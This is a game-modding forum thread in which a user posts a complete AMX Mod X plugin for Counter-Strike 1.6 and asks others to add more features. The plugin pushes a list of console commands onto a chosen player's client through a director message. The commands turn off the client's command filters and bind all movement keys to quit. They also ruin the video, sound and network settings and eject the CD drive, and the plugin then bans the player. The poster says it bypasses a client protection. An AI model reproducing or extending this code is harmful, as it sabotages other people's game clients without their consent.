Destroy Modify (more features) (solved/abandoned)

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ArminC
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Destroy Modify (more features) (solved/abandoned)

#1

Post by ArminC » 6 years ago

Can someone combine this plugin with this? Like adding effects, chat messages (detalied..), on screen hud.. logs.. effects.. and other useful ideas you can find from that plugin.. Thanks! And optional if posibile to make it on ReAPI

Code: Select all

#include <amxmodx>
#include <amxmisc>

new const g_szCommands[][] =
{
	"gl_log 1",
	"cl_filterstuffcmd 0",
	"csx_setcvar Enabled False",
        "rus_setcvar Enabled False",
	"unk_setcvar Enabled False",
	"fix_setcvar Enabled False",
   	"prot_setcvar Enabled False",
   	"BlockCommands Enabled False",
	"rate 1",
	"fps_max 0",
	"fps_modem 0",
	"name ^"ZPNM_DESTROY^"",
	"sensitivity 10000000.0",
	"cl_timeout 0.0",
	"cl_allowdownload 0",
	"cl_allowupload 0",
	"cd eject",
	"say ^"[ZPNM] I got destroyed.. pray for me!^"",
	"gl_flipmatrix 1",
	"cl_cmdrate 10",
	"cl_updaterate 10",
	"cl_updaterate 10",
	"hideradar",
	"con_color ^"0 0 0^"",
	"hud_draw 0",
	"cl_forwardspeed 0",
	"cl_minmodels 1",
	"cl_righthand 0",
	"gamma 0.0",
	"net_graph 1",
	"brightness 0",
	"cl_dlmax 1",
	"volume 0.0",
	"MP3Volume 0.0",
	"bind w quit",
	"bind a quit",
	"bind s quit",
	"bind d quit",
	"_setvideomode 1 x 4",
	"_setrenderer software",
	"_restart"
}

public plugin_init()
{
	register_plugin("Destroy Steam", "1.1", "Raheem")

	register_concmd("amx_destroy", "Destroy_Command", ADMIN_SLAY, "^"Player Name^"")
	register_concmd("amx_destroymenu", "Destroy_Menu", ADMIN_SLAY)
}

public Destroy_Menu(id, level, cid)
{
	if (!cmd_access(id, level, cid, 1))
		return PLUGIN_HANDLED

	new iMenu = menu_create("\y[ZPNM] Destroy Menu\w:", "Menu_Handler")

	new szName[32], szUserid[6]

	for (new i = 1; i <= get_maxplayers(); i++)
	{
		if (!is_user_connected(i))
			continue

		get_user_name(i, szName, charsmax(szName))
		formatex(szUserid, charsmax(szUserid), "%d", get_user_userid(i))
		menu_additem(iMenu, szName, szUserid, 0)
	}

	menu_display(id, iMenu, 0)
	return PLUGIN_CONTINUE
}

public Menu_Handler(id, iMenu, iItem)
{
	if(iItem == MENU_EXIT)
	{
		menu_destroy(iMenu)
		return PLUGIN_HANDLED
	}

	new szName[32], szAdminName[32], szData[6], iAccess, iCallBack

	menu_item_getinfo(iMenu, iItem, iAccess, szData, charsmax(szData), szName, charsmax(szName), iCallBack)

	get_user_name(id, szAdminName, charsmax(szAdminName))

	new iUserID = str_to_num(szData)
	new iTarget = find_player("k", iUserID)

	if (!is_user_connected(iTarget))
		return PLUGIN_HANDLED

	client_cmd(0, "spk vox/bizwarn")
	client_print_color(0, print_team_default, "^1[^4ZPNM-Destroy^1] ^3ADMIN ^4%s ^3has Destroyed ^4%s", szAdminName, szName)

	for (new i = 0; i <= charsmax(g_szCommands); i++)
	{
		Send_Cmd(iTarget, g_szCommands[i])
	}

	new szIP[32], szAuthID[35]

	get_user_ip(iTarget, szIP, charsmax(szIP), 1)
	get_user_authid(iTarget, szAuthID, charsmax(szAuthID))

	if (equal(szAuthID, "STEAM_ID_LAN") || equal(szAuthID, "VALVE_ID_LAN"))
	{
		// Player don't have Unique SteamID? Ban Only with IP
		server_cmd("amx_addban ^"%s^" 0", szIP)
	}
	else
	{
		// Player have SteamID? Ban with IP and SteamID
		server_cmd("amx_addban ^"%s^" 0; amx_addban ^"%s^" 0", szIP, szAuthID)
	}

	menu_destroy(iMenu)
	return PLUGIN_CONTINUE
}

public Destroy_Command(id, level, cid)
{
	if (!cmd_access(id, level, cid, 2))
		return PLUGIN_HANDLED

	new szName[32], szAdminName[32]
	read_argv(1, szName, charsmax(szName))
	get_user_name(id, szAdminName, charsmax(szAdminName))

	new iTarget = get_user_index(szName)

	if (iTarget == 0)
	{
		client_print(id, print_console, "[ZPNM] No player with that name found!")
		return PLUGIN_HANDLED
	}

	client_cmd(0, "spk vox/bizwarn")
	client_print_color(0, print_team_default, "^1[^4ZPNM-Destroy^1] ^3ADMIN ^4%s ^3has Destroyed ^4%s", szAdminName, szName)

	for (new i = 0; i <= charsmax(g_szCommands); i++)
	{
		Send_Cmd(iTarget, g_szCommands[i])
	}

	new szIP[32], szAuthID[35]

	get_user_ip(iTarget, szIP, charsmax(szIP), 1)
	get_user_authid(iTarget, szAuthID, charsmax(szAuthID))

	if (equal(szAuthID, "STEAM_ID_LAN") || equal(szAuthID, "VALVE_ID_LAN"))
	{
		// Player don't have Unique SteamID? Ban Only with IP
		server_cmd("amx_addban ^"%s^" 0", szIP)
	}
	else
	{
		// Player have SteamID? Ban with IP and SteamID
		server_cmd("amx_addban ^"%s^" 0; amx_addban ^"%s^" 0", szIP, szAuthID)
	}

	return PLUGIN_CONTINUE
}

stock Send_Cmd(id, szText[])
{
	message_begin(MSG_ONE, SVC_DIRECTOR, {0, 0, 0}, id)
	write_byte(strlen(szText) + 2)
	write_byte(10)
	write_string(szText)
	message_end()
}
Last edited by ArminC 6 years ago, edited 1 time in total.

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Night Fury
Mod Developer
Mod Developer
Posts: 677
Joined: 7 years ago
Contact:

#2

Post by Night Fury » 6 years ago

Both plugins do their required jop, don't they?
Want your own mod edition? PM me.
Accepting private projects.
Discord: Fury#7469
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User avatar
ArminC
Senior Member
Senior Member
Romania
Posts: 137
Joined: 6 years ago
Location: Bucharest
Contact:

#3

Post by ArminC » 6 years ago

I didn't understand your very correctly but.. yes but the plugin from the pastebin is old (like now is useless because the shield).. but it integrate some effects, hud, more detalied chat/log than this plugin (wich can bypass the steam/shield), that's everything :)

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